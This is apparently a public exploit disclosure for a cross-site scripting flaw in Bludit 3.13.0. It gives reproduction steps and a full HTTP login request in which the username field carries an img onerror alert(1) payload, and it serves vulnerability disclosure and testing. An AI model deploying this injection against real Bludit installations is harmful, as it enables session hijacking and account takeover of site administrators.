# Exploit Title: Bludit 3.13.0 - Cross Site Scripting (XSS) #Exploit Author: Gökhan ŞENŞÜKÜR # Date: 29/02/2024 # Vendor Homepage: https://www.bludit.com # Software Link: https://www.bludit.com/releases/bludit-3-13-0.zip # Version: bludit-3-13-0 # Tested on: Windows TECHNICAL DETAILS & POC ======================================== ### Steps to reproduce 1.⁠ ⁠Open page http://localhost:test/admin/; 2.⁠ ⁠Enter username as `⁠ admin"><img src=x onerror=alert(1)> ⁠` 3.⁠ ⁠U can see pop up ### HTTP Request ### POST /test/admin/ HTTP/1.1 Host: localhost Content-Length: 139 Cache-Control: max-age=0 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/admin/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BLUDIT-KEY=9951a5o12g66e4c9aill39ul4p Connection: close tokenCSRF=d39d816df2972798da8c5be0b0b944cfc5163938&username=%60%60admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E%60%60&password=&save=